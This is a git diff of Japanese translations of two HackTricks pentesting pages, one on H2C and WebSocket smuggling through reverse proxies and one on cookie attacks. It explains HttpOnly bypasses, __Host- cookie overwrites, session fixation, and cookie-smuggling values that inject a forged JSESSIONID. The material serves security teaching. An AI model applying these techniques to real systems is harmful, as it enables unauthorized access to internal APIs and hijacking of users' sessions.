H2C、または**クリアテキスト上のhttp2**は、標準のHTTP **接続を持続的なものにアップグレードする**ことで、一時的なHTTP接続の規範から逸脱します。このアップグレードされた接続は、平文HTTPの単一リクエストの性質とは異なり、継続的な通信のためにhttp2バイナリプロトコルを利用します。
|
||||
H2C、または**http2オーバークリアテキスト**は、標準のHTTP**接続を持続的なものにアップグレードする**ことで、一時的なHTTP接続の規範から逸脱します。このアップグレードされた接続は、平文HTTPの単一リクエストの性質とは対照的に、継続的な通信のためにhttp2バイナリプロトコルを利用します。
|
||||
|
||||
スモグリングの問題の核心は、**リバースプロキシ**の使用にあります。通常、リバースプロキシはHTTPリクエストを処理し、バックエンドに転送し、その後バックエンドの応答を返します。しかし、HTTPリクエストに`Connection: Upgrade`ヘッダーが存在する場合(一般的にウェブソケット接続で見られる)、リバース**プロキシはクライアントとサーバーの間に持続的な接続を維持し、特定のプロトコルに必要な継続的な交換を促進します**。H2C接続の場合、RFCに従うためには、3つの特定のヘッダーが必要です:
|
||||
スモグリングの問題の核心は、**リバースプロキシ**の使用にあります。通常、リバースプロキシはHTTPリクエストを処理し、バックエンドに転送し、その後バックエンドの応答を返します。しかし、HTTPリクエストに`Connection: Upgrade`ヘッダーが存在する場合(一般的にウェブソケット接続で見られる)、リバース**プロキシはクライアントとサーバー間の持続的な接続を維持し、特定のプロトコルに必要な継続的な交換を促進します**。H2C接続の場合、RFCに従うためには、3つの特定のヘッダーが必要です:
|
||||
```
|
||||
Upgrade: h2c
|
||||
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
|
||||
|
@ -39,13 +31,13 @@ Connection: Upgrade, HTTP2-Settings
|
|||
|
||||
#### 脆弱なプロキシ <a href="#exploitation" id="exploitation"></a>
|
||||
|
||||
この脆弱性は、リバースプロキシが`Upgrade`および時には`Connection`ヘッダーをどのように処理するかに依存しています。以下のプロキシは、プロキシパス中にこれらのヘッダーを本質的に転送し、H2Cスムージングを本質的に可能にします:
|
||||
この脆弱性は、リバースプロキシが`Upgrade`および時には`Connection`ヘッダーをどのように処理するかに依存します。以下のプロキシは、プロキシパス中にこれらのヘッダーを本質的に転送し、H2Cスムージングを本質的に可能にします:
|
||||
|
||||
* HAProxy
|
||||
* Traefik
|
||||
* Nuster
|
||||
|
||||
逆に、これらのサービスはプロキシパス中に両方のヘッダーを本質的に転送しません。しかし、設定が不適切であれば、`Upgrade`および`Connection`ヘッダーのフィルタリングされていない転送を許可することがあります:
|
||||
逆に、これらのサービスはプロキシパス中に両方のヘッダーを本質的に転送しません。しかし、設定が不適切である場合、`Upgrade`および`Connection`ヘッダーのフィルタリングされていない転送を許可することがあります:
|
||||
|
||||
* AWS ALB/CLB
|
||||
* NGINX
|
||||
|
@ -58,7 +50,7 @@ Connection: Upgrade, HTTP2-Settings
|
|||
|
||||
#### 悪用 <a href="#exploitation" id="exploitation"></a>
|
||||
|
||||
すべてのサーバーが、準拠したH2C接続アップグレードに必要なヘッダーを本質的に転送するわけではないことに注意することが重要です。そのため、AWS ALB/CLB、NGINX、Apache Traffic Serverなどのサーバーは、自然にH2C接続をブロックします。それでも、`Connection: Upgrade`の非準拠バリアントを使用してテストする価値があります。これは、`Connection`ヘッダーから`HTTP2-Settings`値を除外しているため、一部のバックエンドが標準に準拠していない可能性があります。
|
||||
すべてのサーバーが準拠したH2C接続アップグレードに必要なヘッダーを本質的に転送するわけではないことに注意することが重要です。そのため、AWS ALB/CLB、NGINX、Apache Traffic Serverなどのサーバーは、自然にH2C接続をブロックします。それにもかかわらず、`Connection: Upgrade`の非準拠バリアントを使用してテストする価値があります。これは、`Connection`ヘッダーから`HTTP2-Settings`値を除外します。一部のバックエンドは標準に準拠していない可能性があります。
|
||||
|
||||
{% hint style="danger" %}
|
||||
`proxy_pass` URLに指定された特定の**パス**(例:`http://backend:9999/socket.io`)に関係なく、確立された接続はデフォルトで`http://backend:9999`になります。これにより、この技術を利用して、その内部エンドポイント内の任意のパスと対話できます。したがって、`proxy_pass` URLにパスを指定してもアクセスは制限されません。
|
||||
|
@ -78,7 +70,7 @@ Websocketスムージングは、プロキシを介してアクセス可能な
|
|||
|
||||
1. クライアントは、ヘッダーに不正な`Sec-WebSocket-Version`プロトコルバージョンを含むUpgradeリクエストをリバースプロキシに送信します。プロキシは`Sec-WebSocket-Version`ヘッダーを検証せず、Upgradeリクエストが有効であると信じてバックエンドに転送します。
|
||||
2. バックエンドは、`Sec-WebSocket-Version`ヘッダーに不正なプロトコルバージョンを示すステータスコード`426`で応答します。リバースプロキシはバックエンドの応答ステータスを見落とし、WebSocket通信の準備が整ったと仮定し、応答をクライアントに中継します。
|
||||
3. その結果、リバースプロキシはクライアントとバックエンドの間にWebSocket接続が確立されたと誤解しますが、実際にはバックエンドはUpgradeリクエストを拒否していました。それにもかかわらず、プロキシはクライアントとバックエンドの間にオープンなTCPまたはTLS接続を維持し、この接続を通じてクライアントがプライベートREST APIに無制限にアクセスできるようにします。
|
||||
3. その結果、リバースプロキシはクライアントとバックエンドの間にWebSocket接続が確立されたと誤解しますが、実際にはバックエンドはUpgradeリクエストを拒否しました。それにもかかわらず、プロキシはクライアントとバックエンドの間にオープンなTCPまたはTLS接続を維持し、この接続を介してクライアントがプライベートREST APIに無制限にアクセスできるようにします。
|
||||
|
||||
影響を受けるリバースプロキシには、問題に対処しなかったVarnishや、アップグレードメカニズムが変更されたEnvoyプロキシバージョン1.8.0以前が含まれます。他のプロキシも脆弱である可能性があります。
|
||||
|
||||
|
@ -86,16 +78,16 @@ Websocketスムージングは、プロキシを介してアクセス可能な
|
|||
|
||||
### シナリオ2
|
||||
|
||||
このシナリオでは、公開WebSocket APIとヘルスチェック用の公開REST API、さらにアクセスできない内部REST APIを持つバックエンドが関与します。攻撃はより複雑で、以下のステップを含みます:
|
||||
このシナリオでは、公開WebSocket APIとヘルスチェック用の公開REST API、さらにアクセスできない内部REST APIを持つバックエンドが関与します。攻撃はより複雑で、以下のステップが含まれます:
|
||||
|
||||
1. クライアントは、ヘルスチェックAPIをトリガーするためにPOSTリクエストを送信し、追加のHTTPヘッダー`Upgrade: websocket`を含めます。NGINXはリバースプロキシとして、これを`Upgrade`ヘッダーのみに基づく標準のUpgradeリクエストとして解釈し、リクエストの他の側面を無視してバックエンドに転送します。
|
||||
2. バックエンドはヘルスチェックAPIを実行し、攻撃者が制御する外部リソースにアクセスし、ステータスコード`101`のHTTP応答を返します。この応答はバックエンドによって受信され、NGINXに転送されると、プロキシはステータスコードのみを検証してWebSocket接続が確立されたと誤解します。
|
||||
1. クライアントは、ヘルスチェックAPIをトリガーするためにPOSTリクエストを送信し、追加のHTTPヘッダー`Upgrade: websocket`を含めます。リバースプロキシとして機能するNGINXは、`Upgrade`ヘッダーのみに基づいてこれを標準のUpgradeリクエストとして解釈し、リクエストの他の側面を無視してバックエンドに転送します。
|
||||
2. バックエンドはヘルスチェックAPIを実行し、攻撃者が制御する外部リソースにアクセスし、ステータスコード`101`を持つHTTP応答を返します。この応答はバックエンドによって受信され、NGINXに転送されると、プロキシはステータスコードのみを検証するため、WebSocket接続が確立されたと誤解します。
|
||||
|
||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png)
|
||||
|
||||
> **警告:** この技術の複雑さは、ステータスコード101を返すことができるエンドポイントと対話する能力を必要とするため、増加します。
|
||||
|
||||
最終的に、NGINXはクライアントとバックエンドの間にWebSocket接続が存在すると信じ込まされます。実際には、そのような接続は存在せず、ヘルスチェックREST APIがターゲットでした。それにもかかわらず、リバースプロキシは接続をオープンに保ち、クライアントがそれを通じてプライベートREST APIにアクセスできるようにします。
|
||||
最終的に、NGINXはクライアントとバックエンドの間にWebSocket接続が存在すると誤解します。実際には、そのような接続は存在せず、ヘルスチェックREST APIがターゲットでした。それにもかかわらず、リバースプロキシは接続をオープンに保ち、クライアントがそれを介してプライベートREST APIにアクセスできるようにします。
|
||||
|
||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png)
|
||||
|
||||
|
@ -103,7 +95,7 @@ Websocketスムージングは、プロキシを介してアクセス可能な
|
|||
|
||||
#### ラボ
|
||||
|
||||
両方のシナリオをテストするためのラボを[https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)で確認してください。
|
||||
両方のシナリオをテストするためのラボを確認してください:[https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
|
||||
|
||||
### 参考文献
|
||||
|
||||
|
@ -112,12 +104,6 @@ Websocketスムージングは、プロキシを介してアクセス可能な
|
|||
* [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
|
||||
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -128,7 +114,7 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,39 +1,32 @@
|
|||
# Cookies Hacking
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **参加する** 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に、または**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Cookie Attributes
|
||||
|
||||
クッキーには、ユーザーのブラウザでの動作を制御するいくつかの属性があります。これらの属性の概要は以下の通りです。
|
||||
クッキーには、ユーザーのブラウザでの動作を制御するいくつかの属性があります。これらの属性についての概要は以下の通りです。
|
||||
|
||||
### Expires and Max-Age
|
||||
|
||||
クッキーの有効期限は`Expires`属性によって決まります。対照的に、`Max-age`属性はクッキーが削除されるまでの時間(秒単位)を定義します。**`Max-age`を選択することをお勧めします。これはより現代的な慣行を反映しています。**
|
||||
クッキーの有効期限は`Expires`属性によって決まります。一方、`Max-age`属性は、クッキーが削除されるまでの時間(秒単位)を定義します。**`Max-age`を選択することをお勧めします。これはより現代的な慣行を反映しています。**
|
||||
|
||||
### Domain
|
||||
|
||||
クッキーを受け取るホストは`Domain`属性によって指定されます。デフォルトでは、これはクッキーを発行したホストに設定され、サブドメインは含まれません。しかし、`Domain`属性が明示的に設定されると、サブドメインも含まれます。これにより、サブドメイン間でのクッキー共有が必要なシナリオで役立つ、制約の少ないオプションとなります。たとえば、`Domain=mozilla.org`を設定すると、`developer.mozilla.org`のようなサブドメインでクッキーにアクセスできます。
|
||||
クッキーを受け取るホストは`Domain`属性によって指定されます。デフォルトでは、これはクッキーを発行したホストに設定され、サブドメインは含まれません。しかし、`Domain`属性が明示的に設定されると、サブドメインも含まれます。これにより、サブドメイン間でのクッキー共有が必要なシナリオで役立つ、`Domain`属性の指定が制限されないオプションとなります。たとえば、`Domain=mozilla.org`を設定すると、`developer.mozilla.org`のようなサブドメインでクッキーにアクセスできます。
|
||||
|
||||
### Path
|
||||
|
||||
|
@ -48,28 +41,28 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
### SameSite
|
||||
|
||||
* `SameSite`属性は、サードパーティのドメインから発信されるリクエストにクッキーが送信されるかどうかを決定します。3つの設定があります:
|
||||
* **Strict**: サードパーティのリクエストにクッキーが送信されるのを制限します。
|
||||
* **Lax**: サードパーティのウェブサイトによって開始されたGETリクエストでクッキーが送信されることを許可します。
|
||||
* **None**: どのサードパーティのドメインからもクッキーが送信されることを許可します。
|
||||
* `SameSite`属性は、クッキーがサードパーティのドメインからのリクエストで送信されるかどうかを決定します。3つの設定があります:
|
||||
* **Strict**:サードパーティのリクエストでクッキーが送信されるのを制限します。
|
||||
* **Lax**:サードパーティのウェブサイトによって開始されたGETリクエストでクッキーが送信されることを許可します。
|
||||
* **None**:任意のサードパーティドメインからクッキーが送信されることを許可します。
|
||||
|
||||
クッキーを設定する際には、これらの属性を理解することで、さまざまなシナリオで期待通りに動作することを確保できます。
|
||||
|
||||
| **Request Type** | **Example Code** | **Cookies Sent When** |
|
||||
| **リクエストタイプ** | **例コード** | **クッキーが送信される場合** |
|
||||
| ---------------- | ---------------------------------- | --------------------- |
|
||||
| Link | \<a href="...">\</a> | NotSet\*, Lax, None |
|
||||
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
||||
| Form GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
|
||||
| Form POST | \<form method="POST" action="..."> | NotSet\*, None |
|
||||
| リンク | \<a href="...">\</a> | NotSet\*, Lax, None |
|
||||
| プリレンダリング | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
||||
| フォームGET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
|
||||
| フォームPOST | \<form method="POST" action="..."> | NotSet\*, None |
|
||||
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
|
||||
| AJAX | $.get("...") | NotSet\*, None |
|
||||
| Image | \<img src="..."> | NetSet\*, None |
|
||||
| 画像 | \<img src="..."> | NetSet\*, None |
|
||||
|
||||
Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\
|
||||
_**SameSite**_属性を持つクッキーは、**CSRF攻撃を軽減**します。
|
||||
表は[Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/)からのもので、若干修正されています。\
|
||||
_**SameSite**_属性を持つクッキーは、**CSRF攻撃を軽減します**。ログインセッションが必要です。
|
||||
|
||||
**\*Chrome80(2019年2月)以降、クッキーにSameSite属性がない場合のデフォルトの動作はLaxになります** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
この変更を適用した後、Chromeでは**SameSiteポリシーのないクッキーは最初の2分間はNoneとして扱われ、その後はトップレベルのクロスサイトPOSTリクエストに対してLaxとして扱われます。**
|
||||
**\*Chrome80(2019年2月)以降、SameSite属性を持たないクッキーのデフォルトの動作はLaxになります** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
この変更を適用した後、Chromeでは**SameSiteポリシーを持たないクッキーは最初の2分間はNoneとして扱われ、その後はトップレベルのクロスサイトPOSTリクエストに対してLaxとして扱われます。**
|
||||
|
||||
## Cookies Flags
|
||||
|
||||
|
@ -77,13 +70,13 @@ _**SameSite**_属性を持つクッキーは、**CSRF攻撃を軽減**します
|
|||
|
||||
これは**クライアント**がクッキーにアクセスするのを防ぎます(例えば**Javascript**経由:`document.cookie`)。
|
||||
|
||||
#### **Bypasses**
|
||||
#### **バイパス**
|
||||
|
||||
* ページがリクエストのレスポンスとしてクッキーを**送信している**場合(例えば**PHPinfo**ページ)、XSSを悪用してこのページにリクエストを送り、レスポンスから**クッキーを盗む**ことが可能です(例は[こちら](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)を参照)。
|
||||
* **TRACE** **HTTP**リクエストを使用することでバイパス可能です。サーバーからのレスポンスは送信されたクッキーを反映します(このHTTPメソッドが利用可能な場合)。この技術は**Cross-Site Tracking**と呼ばれます。
|
||||
* **TRACE** **HTTP**リクエストを使用することでバイパス可能です。このHTTPメソッドが利用可能な場合、サーバーからのレスポンスは送信されたクッキーを反映します。この技術は**クロスサイトトラッキング**と呼ばれます。
|
||||
* この技術は、**モダンブラウザがJSからTRACEリクエストを送信することを許可しないことによって回避されます**。ただし、IE6.0 SP2に対して`TRACE`の代わりに`\r\nTRACE`を送信するなど、特定のソフトウェアでのバイパスが見つかっています。
|
||||
* ブラウザのゼロデイ脆弱性を悪用することも可能です。
|
||||
* クッキージャーオーバーフロー攻撃を実行することで**HttpOnlyクッキーを上書き**することが可能です:
|
||||
* 別の方法は、ブラウザのゼロデイ脆弱性を悪用することです。
|
||||
* クッキージャーオーバーフロー攻撃を実行することで**HttpOnlyクッキーを上書きする**ことが可能です:
|
||||
|
||||
{% content-ref url="cookie-jar-overflow.md" %}
|
||||
[cookie-jar-overflow.md](cookie-jar-overflow.md)
|
||||
|
@ -93,7 +86,7 @@ _**SameSite**_属性を持つクッキーは、**CSRF攻撃を軽減**します
|
|||
|
||||
### Secure
|
||||
|
||||
リクエストは、**HTTPS**などの安全なチャネルを介して送信される場合にのみ、HTTPリクエストでクッキーを**送信**します。
|
||||
リクエストは、**HTTPS**などの安全なチャネルを介して送信される場合にのみ、HTTPリクエストでクッキーを**送信します**。
|
||||
|
||||
## Cookies Prefixes
|
||||
|
||||
|
@ -110,17 +103,17 @@ _**SameSite**_属性を持つクッキーは、**CSRF攻撃を軽減**します
|
|||
|
||||
### Overwriting cookies
|
||||
|
||||
したがって、`__Host-`で始まるクッキーの保護の1つは、サブドメインからの上書きを防ぐことです。たとえば、[**Cookie Tossing attacks**](cookie-tossing.md)を防ぎます。トークで[**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf))では、パーサーを騙すことでサブドメインから__HOST-で始まるクッキーを設定することが可能であることが示されています。たとえば、最初や最後に`=`を追加することです:
|
||||
したがって、`__Host-`で始まるクッキーの保護の1つは、サブドメインからの上書きを防ぐことです。たとえば、[**Cookie Tossing attacks**](cookie-tossing.md)を防ぎます。トークで[**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg)([**論文**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf))では、パーサーを騙すことでサブドメインから__HOST-で始まるクッキーを設定することが可能であることが示されています。たとえば、最初や最後に"="を追加することなどです:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
また、PHPでは、クッキー名の先頭に**他の文字を追加**することで、**アンダースコア**文字に置き換えられ、`__HOST-`クッキーを上書きすることが可能でした:
|
||||
また、PHPでは、クッキー名の先頭に**他の文字を追加する**ことで、**アンダースコア**文字に置き換えられ、`__HOST-`クッキーを上書きすることが可能でした:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
|
||||
## Cookies Attacks
|
||||
|
||||
カスタムクッキーに機密データが含まれている場合は、特にCTFを行っている場合は確認してください。脆弱性があるかもしれません。
|
||||
カスタムクッキーに機密データが含まれている場合は、特にCTFをプレイしている場合は、それを確認してください。脆弱性があるかもしれません。
|
||||
|
||||
### Decoding and Manipulating Cookies
|
||||
|
||||
|
@ -128,13 +121,13 @@ _**SameSite**_属性を持つクッキーは、**CSRF攻撃を軽減**します
|
|||
|
||||
### Session Hijacking
|
||||
|
||||
この攻撃は、ユーザーのクッキーを盗むことで、アプリケーション内のアカウントに不正にアクセスすることを含みます。盗まれたクッキーを使用することで、攻撃者は正当なユーザーを偽装できます。
|
||||
この攻撃は、ユーザーのクッキーを盗むことで、アプリケーション内のそのユーザーのアカウントに不正にアクセスすることを含みます。盗まれたクッキーを使用することで、攻撃者は正当なユーザーを偽装できます。
|
||||
|
||||
### Session Fixation
|
||||
|
||||
このシナリオでは、攻撃者が被害者を特定のクッキーを使用してログインさせるように仕向けます。アプリケーションがログイン時に新しいクッキーを割り当てない場合、攻撃者は元のクッキーを持っているため、被害者を偽装できます。この技術は、被害者が攻撃者が提供したクッキーでログインすることに依存しています。
|
||||
|
||||
**サブドメインにXSSを見つけた場合**や**サブドメインを制御している場合**は、次をお読みください:
|
||||
**サブドメインでXSSを見つけた場合**や**サブドメインを制御している場合**は、次をお読みください:
|
||||
|
||||
{% content-ref url="cookie-tossing.md" %}
|
||||
[cookie-tossing.md](cookie-tossing.md)
|
||||
|
@ -144,7 +137,7 @@ _**SameSite**_属性を持つクッキーは、**CSRF攻撃を軽減**します
|
|||
|
||||
ここでは、攻撃者が被害者に攻撃者のセッションクッキーを使用させるように仕向けます。被害者は自分のアカウントにログインしていると信じて、攻撃者のアカウントのコンテキストで意図せずにアクションを実行します。
|
||||
|
||||
**サブドメインにXSSを見つけた場合**や**サブドメインを制御している場合**は、次をお読みください:
|
||||
**サブドメインでXSSを見つけた場合**や**サブドメインを制御している場合**は、次をお読みください:
|
||||
|
||||
{% content-ref url="cookie-tossing.md" %}
|
||||
[cookie-tossing.md](cookie-tossing.md)
|
||||
|
@ -154,7 +147,7 @@ _**SameSite**_属性を持つクッキーは、**CSRF攻撃を軽減**します
|
|||
|
||||
前のリンクをクリックして、JWTの可能な欠陥を説明するページにアクセスしてください。
|
||||
|
||||
クッキーで使用されるJSON Web Tokens(JWT)にも脆弱性が存在する可能性があります。潜在的な欠陥とそれを悪用する方法についての詳細情報を得るには、JWTをハッキングするためのリンクされた文書にアクセスすることをお勧めします。
|
||||
クッキーで使用されるJSON Web Tokens(JWT)も脆弱性を示す可能性があります。潜在的な欠陥とそれを悪用する方法についての詳細情報を得るには、JWTハッキングに関するリンクされた文書にアクセスすることをお勧めします。
|
||||
|
||||
### Cross-Site Request Forgery (CSRF)
|
||||
|
||||
|
@ -162,7 +155,7 @@ _**SameSite**_属性を持つクッキーは、**CSRF攻撃を軽減**します
|
|||
|
||||
### Empty Cookies
|
||||
|
||||
(詳細は[元の研究](https://blog.ankursundara.com/cookie-bugs/)を参照してください)ブラウザは名前のないクッキーの作成を許可しており、JavaScriptを通じて次のように示すことができます:
|
||||
(詳細は[元の研究](https://blog.ankursundara.com/cookie-bugs/)を参照してください)ブラウザは名前のないクッキーの作成を許可しており、次のようにJavaScriptで示すことができます:
|
||||
```js
|
||||
document.cookie = "a=v1"
|
||||
document.cookie = "=test value;" // Setting an empty named cookie
|
||||
|
@ -180,7 +173,7 @@ setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's valu
|
|||
|
||||
#### Chromeのバグ: Unicodeサロゲートコードポイントの問題
|
||||
|
||||
Chromeでは、Unicodeサロゲートコードポイントが設定されたクッキーの一部である場合、`document.cookie` が破損し、その後空の文字列を返します:
|
||||
Chromeでは、Unicodeサロゲートコードポイントがセットクッキーの一部である場合、`document.cookie` が破損し、その後空の文字列を返します:
|
||||
```js
|
||||
document.cookie = "\ud800=meep";
|
||||
```
|
||||
|
@ -188,7 +181,7 @@ document.cookie = "\ud800=meep";
|
|||
|
||||
#### パースの問題によるクッキーのスモグリング
|
||||
|
||||
(詳細は[元の研究](https://blog.ankursundara.com/cookie-bugs/)を参照) Java(Jetty、TomCat、Undertow)やPython(Zope、cherrypy、web.py、aiohttp、bottle、webob)を含むいくつかのウェブサーバーは、古いRFC2965サポートのためにクッキー文字列を誤って処理します。彼らは、セミコロンを含んでいても、ダブルクオートされたクッキー値を単一の値として読み取ります。セミコロンは通常、キーと値のペアを区切るべきです。
|
||||
(詳細は[元の研究](https://blog.ankursundara.com/cookie-bugs/)を参照) Java(Jetty、TomCat、Undertow)やPython(Zope、cherrypy、web.py、aiohttp、bottle、webob)を含むいくつかのウェブサーバーは、古いRFC2965サポートのためにクッキー文字列を誤って処理します。彼らは、セミコロンを含んでいても、ダブルクオートされたクッキー値を単一の値として読み取ります。これは通常、キーと値のペアを区切るべきです。
|
||||
```
|
||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
```
|
||||
|
@ -200,7 +193,7 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
|||
* Zopeは、次のクッキーの解析を開始するためにカンマを探します。
|
||||
* Pythonのクッキークラスは、スペース文字で解析を開始します。
|
||||
|
||||
この脆弱性は、クッキーベースのCSRF保護に依存するWebアプリケーションにおいて特に危険です。攻撃者が偽装されたCSRFトークンクッキーを注入できるため、セキュリティ対策を回避する可能性があります。この問題は、Pythonが重複したクッキー名を処理する方法によって悪化し、最後の出現が以前のものを上書きします。また、`__Secure-`および`__Host-`クッキーが不安全なコンテキストで扱われることに対する懸念も生じ、クッキーが偽装に対して脆弱なバックエンドサーバーに渡されると、認可のバイパスにつながる可能性があります。
|
||||
この脆弱性は、クッキーに基づくCSRF保護に依存するWebアプリケーションにおいて特に危険です。攻撃者が偽装されたCSRFトークンクッキーを注入できるため、セキュリティ対策を回避する可能性があります。この問題は、Pythonが重複したクッキー名を処理する方法によって悪化します。最後の出現が以前のものを上書きします。また、`__Secure-`および`__Host-`クッキーが不安全なコンテキストで扱われることに対する懸念も生じ、クッキーが偽装に対して脆弱なバックエンドサーバーに渡されると、認可のバイパスにつながる可能性があります。
|
||||
|
||||
### Extra Vulnerable Cookies Checks
|
||||
|
||||
|
@ -211,12 +204,12 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
|||
* 2つのデバイス(またはブラウザ)で同じアカウントに同じクッキーを使用してログインしてみてください。
|
||||
* クッキーに情報が含まれているか確認し、変更を試みてください。
|
||||
* ほぼ同じユーザー名で複数のアカウントを作成し、類似点が見えるか確認してください。
|
||||
* "**remember me**"オプションが存在する場合、その動作を確認してください。存在し、脆弱である可能性がある場合は、他のクッキーなしで**remember me**のクッキーを常に使用してください。
|
||||
* "**remember me**"オプションが存在する場合、それがどのように機能するか確認してください。存在し、脆弱である可能性がある場合は、他のクッキーなしで**remember me**のクッキーを常に使用してください。
|
||||
* パスワードを変更しても前のクッキーが機能するか確認してください。
|
||||
|
||||
#### **Advanced cookies attacks**
|
||||
|
||||
クッキーがログイン時に同じ(またはほぼ同じ)である場合、これはクッキーがあなたのアカウントのいくつかのフィールド(おそらくユーザー名)に関連していることを意味します。次に、あなたは:
|
||||
クッキーがログイン時に同じ(またはほぼ同じ)である場合、これはおそらくそのクッキーがアカウントのいくつかのフィールド(おそらくユーザー名)に関連していることを意味します。次に、あなたは:
|
||||
|
||||
